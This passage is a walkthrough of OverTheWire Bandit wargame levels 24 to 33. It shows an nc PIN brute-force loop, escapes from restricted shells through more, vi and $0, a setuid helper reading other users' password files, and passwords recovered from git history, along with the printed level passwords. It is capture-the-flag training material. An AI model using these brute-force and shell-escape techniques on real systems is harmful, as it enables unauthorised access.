- Manually reviewed the connection to confirm data format, expected the previous key, space and then the 4 digit code
- Wrote a simple script to loop through the combination, and create a multi-line variable of them, and then submit to the TCP port
for i in {0000..9999}; do j="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i\n$j"; done; echo -e $j | nc 127.0.0.1 30002- It took a little bit of time to run to create the input list
<snip>
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Correct!
The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG
Exiting.
Bandit Level 25 –> Level 26
Level Goal
Logging in to bandit26 from bandit25 should be fairly easy… The shell for user bandit26 is not /bin/bash, but something else. Find out what it is, how it works and how to break out of it.
Commands you may need to solve this level
ssh, cat, more, vi, ls, id, pwd
Walkthrough
- Based on the hint, check the shall for bandit26 in /etc/passwd
bandit25@bandit:~$ grep bandit26 /etc/passwd
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext
- Manually reviewed the shell
bandit25@bandit:~$ file /usr/bin/showtext
/usr/bin/showtext: POSIX shell script, ASCII text executable
bandit25@bandit:~$ cat /usr/bin/showtext
#!/bin/sh
export TERM=linux
more ~/text.txt
exit 0
bandit25@bandit:~$ ls -l /usr/bin/showtext
-rwxr-xr-x 1 root root 53 Oct 16 2018 /usr/bin/showtext
- Found the SSH private key which is named bandit26.sshkey
- Attempted to SSH using the SSH as bandit26, could confirm that the contents of ~/text.txt is displayed and the shell exits
- Suspected we may need to find a way to get code execution from the
morecommand, so started manual Internet search for possible solutions for getting code execution or escape out of `more. - Found:
https://www.techonthenet.com/linux/commands/more.php - ! or :! seems to be a way out, to trigger more to page, had to resize the window :)
- Tried the following as a command
mkdir -p /tmp/otwb25; touch /tmp/otwb25/b26pass; chmod 666 /tmp/otwb25/b26pass; cat /etc/bandit_pass/bandit26 > /tmp/otwb25/b26passbut was unsuccessful. The commands did not appear to execute. - Tried !/bin/bash, !/bin/sh !bash !sh, but none of these worked
- Manual Internet search for escaping restricted shells and found a number of useful resources:
https://www.sans.org/blog/escaping-restricted-linux-shells/https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/
- A useful hint was provided on p.141 of the book “Real-world Linux Security: Intrusion, Prevention, Detection, and Recovery” on Shell Escapes, specifically around
moreandvi, recalled from the initial link thatvallows “Start up an editor at current line. The editor is taken from the environment variable VISUAL if defined, or EDITOR if VISUAL is not defined, or defaults to “vi” if neither VISUAL nor EDITOR is defined.” - Tried
vto get into edit mode, then attempt:!/bin/bash, and was unsuccessful but when I tried:!/bin/shand:!shgot an error message “Cannot fork”, so we are on the right track. - More manual Internet searching and found
http://web.physics.ucsb.edu/~pcs/apps/editors/vi/vi_unix.html, which suggests ways of starting a shell from within vi using the$SHELLvariable, but can be set internally in vi as well as an option (Referhttp://web.physics.ucsb.edu/~pcs/apps/editors/vi/tables_vi_options.html#vi_options), so attempted to set a shell variable using vi and then spawning a shell. - So we repeat the SSH using a small terminal window to trigger paging using
more, then we escape out of more into a visual editor which defaults to vi usingv, once in vi, we set the shell using:set shell=/bin/bash, then finally invoke the shell using:shell - Once we have the shell we can get the password for the next level
:shell
bandit26@bandit:~$ id
uid=11026(bandit26) gid=11026(bandit26) groups=11026(bandit26)
bandit26@bandit:~$ ls -las
total 36
4 drwxr-xr-x 3 root root 4096 Oct 16 2018 .
4 drwxr-xr-x 41 root root 4096 Oct 16 2018 ..
8 -rwsr-x--- 1 bandit27 bandit26 7296 Oct 16 2018 bandit27-do
4 -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
4 -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
4 -rw-r--r-- 1 root root 675 May 15 2017 .profile
4 drwxr-xr-x 2 root root 4096 Oct 16 2018 .ssh
4 -rw-r----- 1 bandit26 bandit26 258 Oct 16 2018 text.txt
bandit26@bandit:~$ cat /etc/bandit_pass/bandit26
5czgV9L3Xx8JPOyRbXh6lQbmIOWvPT6Z
bandit26@bandit:~$
Bandit Level 26 –> Level 27
Level Goal
Good job getting a shell! Now hurry and grab the password for bandit27!
Commands you may need to solve this level
ls
Walkthrough
- Logged into Level bandit26 using the same approach from Level bandit25
bandit26@bandit:~$ pwd
/home/bandit26
bandit26@bandit:~$ ls -las
total 36
4 drwxr-xr-x 3 root root 4096 Oct 16 2018 .
4 drwxr-xr-x 41 root root 4096 Oct 16 2018 ..
8 -rwsr-x--- 1 bandit27 bandit26 7296 Oct 16 2018 bandit27-do
4 -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
4 -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
4 -rw-r--r-- 1 root root 675 May 15 2017 .profile
4 drwxr-xr-x 2 root root 4096 Oct 16 2018 .ssh
4 -rw-r----- 1 bandit26 bandit26 258 Oct 16 2018 text.txt
bandit26@bandit:~$ file ./bandit27-do
./bandit27-do: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8e941f24b8c5cd0af67b22b724c57e1ab92a92a1, not stripped
bandit26@bandit:~$ ./bandit27-do
Run a command as another user.
Example: ./bandit27-do id
bandit26@bandit:~$ ./bandit27-do bandit27
env: �bandit27�: No such file or directory
bandit26@bandit:~$ ./bandit27-do cat /etc/bandit_pass/bandit27
3ba3118a22e93127a4ed485be72ef5ea
bandit26@bandit:~$
Bandit Level 27 –> Level 28
Level Goal
There is a git repository at ssh://bandit27-git@localhost/home/bandit27-git/repo. The password for the user bandit27-git is the same as for the user bandit27.
Clone the repository and find the password for the next level.
Commands you may need to solve this level
git
Walkthrough
bandit27@bandit:~$ mkdir -p /tmp/otwb27
bandit27@bandit:~$ cd /tmp/otwb27
bandit27@bandit:/tmp/otwb27$ git clone ssh://[email protected]:/home/bandit27-git/repo
Cloning into 'repo'...
Could not create directory '/home/bandit27/.ssh'.
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:98UL0ZWr85496EtCRkKlo20X3OPnyPSB5tB5RPbhczc.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/bandit27/.ssh/known_hosts).
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
[email protected]'s password:
remote: Counting objects: 3, done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 3 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (3/3), done.
bandit27@bandit:/tmp/otwb27$ ls -las
total 305928
4 drwxr-sr-x 3 bandit27 root 4096 Mar 24 13:12 .
305920 drwxrws-wt 1 root root 313204736 Mar 24 13:13 ..
4 drwxr-sr-x 3 bandit27 root 4096 Mar 24 13:13 repo
bandit27@bandit:/tmp/otwb27$ cd repo
bandit27@bandit:/tmp/otwb27/repo$ ls -las
total 16
4 drwxr-sr-x 3 bandit27 root 4096 Mar 24 13:13 .
4 drwxr-sr-x 3 bandit27 root 4096 Mar 24 13:12 ..
4 drwxr-sr-x 8 bandit27 root 4096 Mar 24 13:13 .git
4 -rw-r--r-- 1 bandit27 root 68 Mar 24 13:13 README
bandit27@bandit:/tmp/otwb27/repo$ cat README
The password to the next level is: 0ef186ac70e04ea33b4c1853d2526fa2
Bandit Level 28 –> Level 29
Level Goal
There is a git repository at ssh://bandit28-git@localhost/home/bandit28-git/repo. The password for the user bandit28-git is the same as for the user bandit28.
Clone the repository and find the password for the next level.
Commands you may need to solve this level
git
Walkthrough
bandit28@bandit:~$ mkdir -p /tmp/otwb28
bandit28@bandit:~$ cd /tmp/otwb28
bandit28@bandit:/tmp/otwb28$ git clone ssh://bandit28-git@localhost/home/bandit28-git/repo
Cloning into 'repo'...
Could not create directory '/home/bandit28/.ssh'.
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:98UL0ZWr85496EtCRkKlo20X3OPnyPSB5tB5RPbhczc.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/bandit28/.ssh/known_hosts).
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
bandit28-git@localhost's password:
remote: Counting objects: 9, done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 9 (delta 2), reused 0 (delta 0)
Receiving objects: 100% (9/9), done.
Resolving deltas: 100% (2/2), done.
bandit28@bandit:/tmp/otwb28$ ls -las
total 305928
4 drwxr-sr-x 3 bandit28 root 4096 Mar 24 13:18 .
305920 drwxrws-wt 1 root root 313204736 Mar 24 13:18 ..
4 drwxr-sr-x 3 bandit28 root 4096 Mar 24 13:18 repo
bandit28@bandit:/tmp/otwb28$ cd repo
bandit28@bandit:/tmp/otwb28/repo$ ls -las
total 16
4 drwxr-sr-x 3 bandit28 root 4096 Mar 24 13:18 .
4 drwxr-sr-x 3 bandit28 root 4096 Mar 24 13:18 ..
4 drwxr-sr-x 8 bandit28 root 4096 Mar 24 13:18 .git
4 -rw-r--r-- 1 bandit28 root 111 Mar 24 13:18 README.md
bandit28@bandit:/tmp/otwb28/repo$ cat README.md
# Bandit Notes
Some notes for level29 of bandit.
## credentials
- username: bandit29
- password: xxxxxxxxxx
bandit28@bandit:/tmp/otwb28/repo$ cd .git
bandit28@bandit:/tmp/otwb28/repo/.git$ ls -las
total 52
4 drwxr-sr-x 8 bandit28 root 4096 Mar 24 13:18 .
4 drwxr-sr-x 3 bandit28 root 4096 Mar 24 13:18 ..
4 drwxr-sr-x 2 bandit28 root 4096 Mar 24 13:18 branches
4 -rw-r--r-- 1 bandit28 root 276 Mar 24 13:18 config
4 -rw-r--r-- 1 bandit28 root 73 Mar 24 13:18 description
4 -rw-r--r-- 1 bandit28 root 23 Mar 24 13:18 HEAD
4 drwxr-sr-x 2 bandit28 root 4096 Mar 24 13:18 hooks
4 -rw-r--r-- 1 bandit28 root 137 Mar 24 13:18 index
4 drwxr-sr-x 2 bandit28 root 4096 Mar 24 13:18 info
4 drwxr-sr-x 3 bandit28 root 4096 Mar 24 13:18 logs
4 drwxr-sr-x 4 bandit28 root 4096 Mar 24 13:18 objects
4 -rw-r--r-- 1 bandit28 root 107 Mar 24 13:18 packed-refs
4 drwxr-sr-x 5 bandit28 root 4096 Mar 24 13:18 refs
bandit28@bandit:/tmp/otwb28/repo/.git$ cd ..
bandit28@bandit:/tmp/otwb28/repo$ git log README.md
commit 073c27c130e6ee407e12faad1dd3848a110c4f95
Author: Morla Porla <[email protected]>
Date: Tue Oct 16 14:00:39 2018 +0200
fix info leak
commit 186a1038cc54d1358d42d468cdc8e3cc28a93fcb
Author: Morla Porla <[email protected]>
Date: Tue Oct 16 14:00:39 2018 +0200
add missing data
commit b67405defc6ef44210c53345fc953e6a21338cc7
Author: Ben Dover <[email protected]>
Date: Tue Oct 16 14:00:39 2018 +0200
initial commit of README.md
bandit28@bandit:/tmp/otwb28/repo$ git log -p README.md
commit 073c27c130e6ee407e12faad1dd3848a110c4f95
Author: Morla Porla <[email protected]>
Date: Tue Oct 16 14:00:39 2018 +0200
fix info leak
diff --git a/README.md b/README.md
index 3f7cee8..5c6457b 100644
--- a/README.md
+++ b/README.md
@@ -4,5 +4,5 @@ Some notes for level29 of bandit.
## credentials
- username: bandit29
-- password: bbc96594b4e001778eee9975372716b2
+- password: xxxxxxxxxx
commit 186a1038cc54d1358d42d468cdc8e3cc28a93fcb
Author: Morla Porla <[email protected]>
Date: Tue Oct 16 14:00:39 2018 +0200
add missing data
diff --git a/README.md b/README.md
index 7ba2d2f..3f7cee8 100644
--- a/README.md
+++ b/README.md
@@ -4,5 +4,5 @@ Some notes for level29 of bandit.
## credentials
- username: bandit29
-- password: <TBD>
+- password: bbc96594b4e001778eee9975372716b2
commit b67405defc6ef44210c53345fc953e6a21338cc7
Author: Ben Dover <[email protected]>
Date: Tue Oct 16 14:00:39 2018 +0200
initial commit of README.md
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..7ba2d2f
--- /dev/null
+++ b/README.md
@@ -0,0 +1,8 @@
+# Bandit Notes
+Some notes for level29 of bandit.
+
+## credentials
+
+- username: bandit29
+- password: <TBD>
+
+- password: bbc96594b4e001778eee9975372716b2
Bandit Level 29 –> Level 30
Level Goal
There is a git repository at ssh://bandit29-git@localhost/home/bandit29-git/repo. The password for the user bandit29-git is the same as for the user bandit29.
Clone the repository and find the password for the next level.
Commands you may need to solve this level
git
bandit29@bandit:~$ mkdir -p /tmp/otwb29
bandit29@bandit:~$ cd /tmp/otwb29
bandit29@bandit:/tmp/otwb29$ git clone ssh://bandit29-git@localhost/home/bandit29-git/repo
Cloning into 'repo'...
Could not create directory '/home/bandit29/.ssh'.
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:98UL0ZWr85496EtCRkKlo20X3OPnyPSB5tB5RPbhczc.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/bandit29/.ssh/known_hosts).
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
bandit29-git@localhost's password:
remote: Counting objects: 16, done.
remote: Compressing objects: 100% (11/11), done.
remote: Total 16 (delta 2), reused 0 (delta 0)
Receiving objects: 100% (16/16), done.
Resolving deltas: 100% (2/2), done.
bandit29@bandit:/tmp/otwb29$ ls -las
total 305928
4 drwxr-sr-x 3 bandit29 root 4096 Mar 24 13:27 .
305920 drwxrws-wt 1 root root 313204736 Mar 24 13:27 ..
4 drwxr-sr-x 3 bandit29 root 4096 Mar 24 13:27 repo
bandit29@bandit:/tmp/otwb29$ cd repo/
bandit29@bandit:/tmp/otwb29/repo$ ls -l
total 4
-rw-r--r-- 1 bandit29 root 131 Mar 24 13:27 README.md
bandit29@bandit:/tmp/otwb29/repo$ cat README.md
# Bandit Notes
Some notes for bandit30 of bandit.
## credentials
- username: bandit30
- password: <no passwords in production!>
bandit29@bandit:/tmp/otwb29/repo$ git log -p README.md
commit 84abedc104bbc0c65cb9eb74eb1d3057753e70f8
Author: Ben Dover <[email protected]>
Date: Tue Oct 16 14:00:41 2018 +0200
fix username
diff --git a/README.md b/README.md
index 2da2f39..1af21d3 100644
--- a/README.md
+++ b/README.md
@@ -3,6 +3,6 @@ Some notes for bandit30 of bandit.
## credentials
-- username: bandit29
+- username: bandit30
- password: <no passwords in production!>
commit 9b19e7d8c1aadf4edcc5b15ba8107329ad6c5650
Author: Ben Dover <[email protected]>
Date: Tue Oct 16 14:00:41 2018 +0200
initial commit of README.md
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..2da2f39
--- /dev/null
+++ b/README.md
@@ -0,0 +1,8 @@
+# Bandit Notes
+Some notes for bandit30 of bandit.
+
+## credentials
+
+- username: bandit29
+- password: <no passwords in production!>
+
bandit29@bandit:/tmp/otwb29/repo$ git branch -a
* master
remotes/origin/HEAD -> origin/master
remotes/origin/dev
remotes/origin/master
remotes/origin/sploits-dev
bandit29@bandit:/tmp/otwb29/repo$ git checkout remotes/origin/dev
Note: checking out 'remotes/origin/dev'.
You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by performing another checkout.
If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -b with the checkout command again. Example:
git checkout -b <new-branch-name>
HEAD is now at 33ce2e9... add data needed for development
bandit29@bandit:/tmp/otwb29/repo$ ls -las
total 20
4 drwxr-sr-x 4 bandit29 root 4096 Mar 24 13:29 .
4 drwxr-sr-x 3 bandit29 root 4096 Mar 24 13:27 ..
4 drwxr-sr-x 2 bandit29 root 4096 Mar 24 13:29 code
4 drwxr-sr-x 8 bandit29 root 4096 Mar 24 13:29 .git
4 -rw-r--r-- 1 bandit29 root 134 Mar 24 13:29 README.md
bandit29@bandit:/tmp/otwb29/repo$ git branch
* (HEAD detached at origin/dev)
master
bandit29@bandit:/tmp/otwb29/repo$ cat README.md
# Bandit Notes
Some notes for bandit30 of bandit.
## credentials
- username: bandit30
- password: 5b90576bedb2cc04c86a9e924ce42faf
Bandit Level 30 –> Level 31
Level Goal
There is a git repository at ssh://bandit30-git@localhost/home/bandit30-git/repo. The password for the user bandit30-git is the same as for the user bandit30.
Clone the repository and find the password for the next level.
Commands you may need to solve this level
git
Walkthrough
bandit30@bandit:~$ mkdir -p /tmp/otwb30
bandit30@bandit:~$ cd /tmp/otwb30
bandit30@bandit:/tmp/otwb30$ git clone ssh://bandit30-git@localhost/home/bandit30-git/repo
Cloning into 'repo'...
Could not create directory '/home/bandit30/.ssh'.
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:98UL0ZWr85496EtCRkKlo20X3OPnyPSB5tB5RPbhczc.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/bandit30/.ssh/known_hosts).
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
bandit30-git@localhost's password:
remote: Counting objects: 4, done.
remote: Total 4 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (4/4), done.
bandit30@bandit:/tmp/otwb30$ ls -las
total 305928
4 drwxr-sr-x 3 bandit30 root 4096 Mar 24 13:33 .
305920 drwxrws-wt 1 root root 313204736 Mar 24 13:33 ..
4 drwxr-sr-x 3 bandit30 root 4096 Mar 24 13:33 repo
bandit30@bandit:/tmp/otwb30$ cd repo/
bandit30@bandit:/tmp/otwb30/repo$ ls -las
total 16
4 drwxr-sr-x 3 bandit30 root 4096 Mar 24 13:33 .
4 drwxr-sr-x 3 bandit30 root 4096 Mar 24 13:33 ..
4 drwxr-sr-x 8 bandit30 root 4096 Mar 24 13:33 .git
4 -rw-r--r-- 1 bandit30 root 30 Mar 24 13:33 README.md
bandit30@bandit:/tmp/otwb30/repo$ cat README.md
just an epmty file... muahaha
bandit30@bandit:/tmp/otwb30/repo$ git log -p README.md
commit 3aa4c239f729b07deb99a52f125893e162daac9e
Author: Ben Dover <[email protected]>
Date: Tue Oct 16 14:00:44 2018 +0200
initial commit of README.md
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..029ba42
--- /dev/null
+++ b/README.md
@@ -0,0 +1 @@
+just an epmty file... muahaha
bandit30@bandit:/tmp/otwb30/repo$ git branch -a
* master
remotes/origin/HEAD -> origin/master
remotes/origin/master
bandit30@bandit:/tmp/otwb30/repo$ git log --diff-filter=D
bandit30@bandit:/tmp/otwb30/repo$ git log --oneline
3aa4c23 initial commit of README.md
bandit30@bandit:/tmp/otwb30/repo$ git tag
secret
bandit30@bandit:/tmp/otwb30/repo$ git show secret
47e603bb428404d265f59c42920d81e5
Bandit Level 31 –> Level 32
Level Goal
There is a git repository at ssh://bandit31-git@localhost/home/bandit31-git/repo. The password for the user bandit31-git is the same as for the user bandit31.
Clone the repository and find the password for the next level.
Commands you may need to solve this level
git
Walkthrough
bandit31@bandit:~$ mkdir /tmp/otwb31
bandit31@bandit:~$ cd /tmp/otwb31
bandit31@bandit:/tmp/otwb31$ git clone ssh://bandit31-git@localhost/home/bandit31-git/repo
Cloning into 'repo'...
Could not create directory '/home/bandit31/.ssh'.
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:98UL0ZWr85496EtCRkKlo20X3OPnyPSB5tB5RPbhczc.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/bandit31/.ssh/known_hosts).
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
bandit31-git@localhost's password:
remote: Counting objects: 4, done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 4 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (4/4), done.
bandit31@bandit:/tmp/otwb31$ ls -las
total 305928
4 drwxr-sr-x 3 bandit31 root 4096 Mar 24 13:51 .
305920 drwxrws-wt 1 root root 313204736 Mar 24 13:52 ..
4 drwxr-sr-x 3 bandit31 root 4096 Mar 24 13:52 repo
bandit31@bandit:/tmp/otwb31$ cd repo
bandit31@bandit:/tmp/otwb31/repo$ ls -las
total 20
4 drwxr-sr-x 3 bandit31 root 4096 Mar 24 13:52 .
4 drwxr-sr-x 3 bandit31 root 4096 Mar 24 13:51 ..
4 drwxr-sr-x 8 bandit31 root 4096 Mar 24 13:52 .git
4 -rw-r--r-- 1 bandit31 root 6 Mar 24 13:52 .gitignore
4 -rw-r--r-- 1 bandit31 root 147 Mar 24 13:52 README.md
bandit31@bandit:/tmp/otwb31/repo$ cat README.md
This time your task is to push a file to the remote repository.
Details:
File name: key.txt
Content: 'May I come in?'
Branch: master
bandit31@bandit:/tmp/otwb31/repo$ echo 'May I come in?' > key.txt
bandit31@bandit:/tmp/otwb31/repo$ cat .gitignore
*.txt
bandit31@bandit:/tmp/otwb31/repo$ echo '!key.txt' >> .gitignore
bandit31@bandit:/tmp/otwb31/repo$ git add key.txt
bandit31@bandit:/tmp/otwb31/repo$ git commit -m 'bandit31-->bandit32'
[master 3ebe995] bandit31-->bandit32
1 file changed, 1 insertion(+)
create mode 100644 key.txt
bandit31@bandit:/tmp/otwb31/repo$ git push
Could not create directory '/home/bandit31/.ssh'.
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:98UL0ZWr85496EtCRkKlo20X3OPnyPSB5tB5RPbhczc.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/bandit31/.ssh/known_hosts).
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
bandit31-git@localhost's password:
Counting objects: 3, done.
Delta compression using up to 4 threads.
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 321 bytes | 0 bytes/s, done.
Total 3 (delta 0), reused 0 (delta 0)
remote: ### Attempting to validate files... ####
remote:
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote:
remote: Well done! Here is the password for the next level:
remote: 56a9bf19c63d650ce78e6ec0354ee45e
remote:
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote:
To ssh://localhost/home/bandit31-git/repo
! [remote rejected] master -> master (pre-receive hook declined)
error: failed to push some refs to 'ssh://bandit31-git@localhost/home/bandit31-git/repo'
Bandit Level 32 –> Level 33
After all this git stuff its time for another escape. Good luck!
Commands you may need to solve this level
sh, man
Walkthrough
- Logged into shell and attempted to execute commands, appeared as though it was taking the input, converting it to uppercase and then passing it to the
shshell to execute, found that$SHELLdid not work to launch a shell, $$ still shows what may appear to be the process id of the shell, then tried $LOGNAME, and saw the username in the error message, so it appears that variables are left unchanged and passed to the shell for execution. Reviewed special parameters for bash shellhttps://www.gnu.org/software/bash/manual/bash.html#Special-Parameters. The first parameter $0, is always the filename, i.e. a shell must have been used to launch the “UPPERCASE SHELL”, so tried$0as input and managed to get ashshell
WELCOME TO THE UPPERCASE SHELL
>>
>> $0
$ id
uid=11033(bandit33) gid=11032(bandit32) groups=11032(bandit32)
$ pwd
/home/bandit32
$ ls -las
total 28
4 drwxr-xr-x 2 root root 4096 Oct 16 2018 .
4 drwxr-xr-x 41 root root 4096 Oct 16 2018 ..
4 -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
4 -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
4 -rw-r--r-- 1 root root 675 May 15 2017 .profile
8 -rwsr-x--- 1 bandit33 bandit32 7556 Oct 16 2018 uppershell
$ cat /etc/bandit_pass/bandit33
c9c3199ddf4121b10cf581a98d51caee
Bandit Level 33 –> Level 34
At this moment, level 34 does not exist yet.
Walkthough
bandit33@bandit:~$ ls -las
total 24
4 drwxr-xr-x 2 root root 4096 Oct 16 2018 .
4 drwxr-xr-x 41 root root 4096 Oct 16 2018 ..
4 -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
4 -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
4 -rw-r--r-- 1 root root 675 May 15 2017 .profile
4 -rw------- 1 bandit33 bandit33 430 Oct 16 2018 README.txt
bandit33@bandit:~$ cat README.txt
Congratulations on solving the last level of this game!
At this moment, there are no more levels to play in this game. However, we are constantly working
on new levels and will most likely expand this game with more levels soon.
Keep an eye out for an announcement on our usual communication channels!
In the meantime, you could play some of our other wargames.
If you have an idea for an awesome new level, please let us know!